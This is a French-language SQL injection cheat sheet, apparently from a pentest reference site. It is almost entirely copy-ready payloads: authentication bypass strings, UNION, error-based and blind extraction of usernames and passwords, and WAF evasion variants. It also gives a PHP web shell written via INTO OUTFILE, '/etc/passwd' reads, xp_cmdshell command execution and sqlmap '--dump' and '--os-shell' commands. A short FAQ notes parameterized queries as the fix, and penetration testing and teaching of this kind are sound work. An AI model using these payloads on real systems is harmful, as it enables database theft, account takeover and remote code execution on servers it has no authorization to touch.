# Détection
Confirmez d'abord que le paramètre est injectable. Cassez la requête, puis prouvez le contrôle avec la logique booléenne.
'' OR '1'='1' AND '1'='21 OR 1=1 -- -1' ORDER BY 1-- - → ORDER BY 2, 3, ...-- - (espace après !), # (MySQL), /* */ (inline). URL-encodez # en %23.# Contournement d'authentification
Bypass de login classique — commentez la vérification du mot de passe ou forcez la clause WHERE à vrai.
admin' -- -admin' #' OR 1=1 -- -' OR '1'='1' -- -') OR ('1'='1' -- -# Injection UNION-based
Renvoyez vos propres données dans la réponse. Faites correspondre le nombre de colonnes, trouvez celles reflétées, puis extrayez.
' UNION SELECT NULL-- - → NULL,NULL-- - → ...' UNION SELECT 1,2,3-- -' UNION SELECT NULL,version(),database()-- -' UNION SELECT table_name,NULL FROM information_schema.tables-- -' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -' UNION SELECT username,password FROM users-- -' UNION SELECT NULL,group_concat(username,0x3a,password) FROM users-- -# Injection error-based
Fuiter des données dans les messages d'erreur quand l'app affiche les erreurs SQL.
' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -' AND 1=CONVERT(int,(SELECT @@version))-- -' AND 1=CAST((SELECT current_database()) AS int)-- -# Blind boolean-based
Aucune sortie ni erreur — inférez les données à partir des différences vrai/faux dans la réponse.
' AND 1=1-- - vs ' AND 1=2-- -' AND (SELECT SUBSTRING(version(),1,1))='8'-- -' AND (SELECT ASCII(SUBSTRING(username,1,1)) FROM users LIMIT 1)>77-- -' AND (SELECT COUNT(*) FROM users)>5-- -# Time-based aveugle
Aucune différence visible du tout — faites pauser le serveur quand une condition est vraie.
' AND SLEEP(5)-- -' AND IF((SELECT ASCII(SUBSTRING(password,1,1)) FROM users LIMIT 1)>77,SLEEP(3),0)-- -'; WAITFOR DELAY '0:0:5'-- -' AND (SELECT pg_sleep(5))-- -' AND 1=(SELECT 1 FROM (SELECT SLEEP(5))x)-- -# Syntaxe par SGBD
Les essentiels diffèrent selon le SGBD. Fingerprintez d'abord, puis utilisez les bonnes fonctions.
| Tâche | MySQL | MSSQL / PostgreSQL |
|---|---|---|
| Version | version() | @@version / version() |
| Base courante | database() | DB_NAME() / current_database() |
| Utilisateur courant | user() | SYSTEM_USER / current_user |
| Concaténer | concat(a,b) / 0x3a | a+b / a||b |
| Commentaire | -- - ou # | -- - ou /* */ |
| Sleep | SLEEP(5) | WAITFOR DELAY / pg_sleep(5) |
SELECT schema_name FROM information_schema.schemataSELECT name FROM master..sysdatabases# RCE & accès fichiers
Passez du vol de données à la lecture de fichiers ou l'exécution de commandes quand la config de la base le permet.
' UNION SELECT LOAD_FILE('/etc/passwd')-- -' UNION SELECT '<?php system($_GET[c]);?>' INTO OUTFILE '/var/www/html/s.php'-- -'; EXEC xp_cmdshell 'whoami'-- -'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE-- -# Bypass WAF
Quand un WAF bloque les payloads évidents, obfusquez. Très dépendant du contexte — testez des combinaisons.
'/**/OR/**/1=1-- -' oR 1=1-- - / ' UnIoN SeLeCt ...%2527 / %2b / double-URL-encodageUNIUNIONON SELSELECTECT' OR 1 LIKE 1-- - / ' OR 1 BETWEEN 0 AND 2-- -# Automatisation sqlmap
Automatisez la détection et l'exploitation. Toujours contre des cibles autorisées uniquement.
sqlmap -u "http://site/page?id=1" --batchsqlmap -r request.txt --batchsqlmap -u URL --dbssqlmap -u URL -D shopdb --tablessqlmap -u URL -D shopdb -T users --dumpsqlmap -u URL --batch --level=5 --risk=3 --tamper=space2commentsqlmap -u URL --os-shell❓ FAQ Injection SQL
Une vulnérabilité web où l'entrée utilisateur est concaténée dans une requête SQL sans assainissement, permettant à l'attaquant de la modifier — pour bypasser l'auth, lire/modifier des données ou parfois exécuter des commandes. Catégorie Injection de l'OWASP Top 10.
Injectez une apostrophe ' et guettez les erreurs. Confirmez avec ' OR '1'='1 vs ' AND '1'='2 — des réponses différentes = injectable. Pour les params numériques, 1 OR 1=1 sans guillemets. Uniquement en test autorisé.
In-band : UNION-based et error-based. Aveugle : boolean-based et time-based. Out-of-band : exfil via DNS/HTTP. À choisir selon le retour de l'app.
Ajoutez UNION SELECT pour renvoyer vos données dans la sortie. Trouvez le nombre de colonnes (ORDER BY n), repérez les colonnes reflétées, remplacez-les par des données (username/password/version()).
Quand il n'y a ni sortie ni erreur. Boolean-based lit les différences vrai/faux ; time-based utilise SLEEP()/WAITFOR. Les deux extraient les données caractère par caractère — au mieux avec sqlmap.
sqlmap -u 'URL' --batch, ou sqlmap -r request.txt pour POST/auth. Puis --dbs, -D db --tables, -D db -T users --dump. Cibles autorisées uniquement.
Commentaires inline (/**/), variation de casse, encodage URL/double-URL, mots-clés imbriqués, opérateurs alternatifs. Les scripts tamper de sqlmap (--tamper=space2comment) en automatisent beaucoup. Très dépendant du contexte.
Les requêtes paramétrées (préparées) sont la correction n°1 — l'entrée n'est jamais concaténée dans le SQL. Ajoutez des comptes de base à moindre privilège, une liste blanche des entrées, un ORM et un WAF en défense en profondeur. Jamais l'échappement seul.
📚 Ressources liées
- Cheatsheet Burp Suite — Tester et automatiser la SQLi avec Repeater et Intruder
- Cheatsheet Reverse Shell — Transformer un web shell SQLi en reverse shell complet
- Cheatsheet Pentest complète — 200+ commandes pour web, réseau, AD et privesc
- Glossaire du pentest — SQLi, XSS, WAF, payload et 60+ termes clés définis
Transformez vos découvertes SQLi en rapport PDF professionnel. L'IA remplit CVE, CVSS et sévérité.
Envie des 12 020+ commandes ?
Cette cheatsheet injection SQL n'est qu'une branche de la carte. Pentest Mindmap organise 12 020+ commandes en 34 catégories — de la recon à la post-exploitation — avec recherche instantanée et copie en un clic.
Commencer gratuitement →